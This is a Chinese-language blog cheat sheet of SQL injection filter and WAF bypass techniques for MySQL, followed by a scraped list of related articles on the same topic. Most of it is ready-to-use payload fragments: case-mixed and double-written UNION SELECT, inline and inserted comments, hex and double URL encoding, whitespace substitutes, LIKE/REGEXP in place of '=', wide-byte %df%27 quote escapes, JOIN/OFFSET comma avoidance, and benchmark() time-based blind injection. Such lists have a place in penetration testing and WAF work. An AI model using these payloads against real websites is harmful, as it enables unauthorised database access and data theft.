sql注入常见绕过技巧

参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313

https://www.cnblogs.com/vincy99/p/9642882.html

目录:

  1. 大小写绕过
  2. 双写绕过
  3. 内联注释绕过
  4. 编码绕过
  5. <>绕过
  6. 注释符绕过
  7. 对空格的绕过
  8. 对or/and的绕过
  9. 对等号=的绕过
  10. 对单引号的绕过
  11. 对逗号的绕过
  12. 过滤函数绕过

0x01 大小写绕过

UniOn SeleCt

0x02 双写绕过

ununionion seselectlect

0x03 内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

and /*!select*/ 1,2

0x04 编码绕过

16进制绕过:

select * from users where username = test1;
select * from users where username = 0x7465737431;

对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 

unicode编码对部分符号的绕过:

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

0x05 <>绕过

某些网站过滤了“<>”符号才行:

unio<>n sel<>ect

0x06注释符绕过

uni/**/on se/**/lect

0x07对空格的绕过

/**/%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

0x08 对or/and的绕过

and = &&
or = ||

0x09 对等号=的绕过

不加通配符like执行的效果和=一致,所以可以用来绕过;

rlike的用法和上面的like一样,没有通配符效果和=一样;

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

<> 等价于 !=  ,所以在前面再加一个!结果就是等号了

?id=1 or 1 like 1
?id=1 or 1 rlike 1
?id=1 or 1 regexp 1
?id=1 or !(1 <> 1)或者1 !(<>) 1

0x10 对单引号的绕过

宽字符

# 过滤单引号时
%bf%27  %df%27  %aa%27

使用十六进制

‘user‘=>0x7573657273

0x11 对逗号的绕过

盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串

select substr("string",1,3);
等价于 select substr("string" from 1 for 3);

使用join关键字来绕过

union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join(select 3)c

使用offset关键字:

适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

0x12 过滤函数绕过

sleep() -->benchmark()

and sleep(1)
等价于 and benchmark(1000000000,1)

group_concat()–>concat_ws()

select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2");

原文地址:https://www.cnblogs.com/-chenxs/p/11618846.html

时间: 2024-09-27 23:06:08

sql注入常见绕过技巧的相关文章

通用的关于sql注入的绕过技巧(利用mysql的特性)

1 直接上语法   2 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0  3 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0  4 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0  5 因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个

SQl注入常见参数

SQL注入常见参数 user():                数据库用户,格式为user() @server database():        当前数据库名称. version():            当前数据版本,例如5.x.x-n1等......... @@datadir:       数据库路径.通常用于load_file时猜测网站路径等.例如:c:\xxxx\xxxxx\xxxx\data\ concat():             联合数据.联合数据与union不同,un

SQL注入防御绕过——二次编码之干掉反斜杠

SQL注入防御绕过--二次编码 01 背景知识 一.为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输.对于URL来说,编码主要是为了避免引发歧义与混乱.例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=abc&pwd=123如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和= 符号进行转义,也就是对其进行编码.对于URL编码的深入研

SQL注入之绕过WAF和Filter

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证.看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起

SQL注入防御绕过

一.宽字节注入1.什么是宽字节GB2312.GBK.GB18030.BIG5等这些都是常说的宽字节,实际为两字节 2.宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭 mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围 注入方法:在注入点后键入%df

登陆页面Sql注入(绕过)

如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对登录页面进行注入(一直以为sqlmap只能对url里的对象进行注入) 参考资料:https://x.hacking8.com/post-307.html “sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”,换句话说sqlmap可以对登陆页面进行注入,并且它会自动

[转载]SQL注入绕过技巧汇总

转载一篇比较好的文章,乘心物游大佬写的. SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的.这篇文章就是总结我在遇到的CTF题目或者是渗透环境的过程中,所使用到的sql注入的绕过技巧,这篇文章随着自己的见识和能力不断的提升,所总结的方法也会变多.1.引号绕过 会使用到引号的地方是在于最后的where子句中.如下面的一条sql语句,这条语句就是一个简单的用来查选得到u

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应

WAF的SQL注入绕过手段和防御技术

一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数据,这些输入中的一部分被解释成SQL指令,改变了原来的正常SQL执行逻辑,执行了攻击者发出的SQL命令,最终使攻击者获取Web应用的管理员权限或者下载了Web应用存到数据库中的敏感信息. 二.SQL注入如何实现 为了对本文进行更好的讲解,下面简单地对SQL注入的原理进行示例性说明. 如下图是某网站的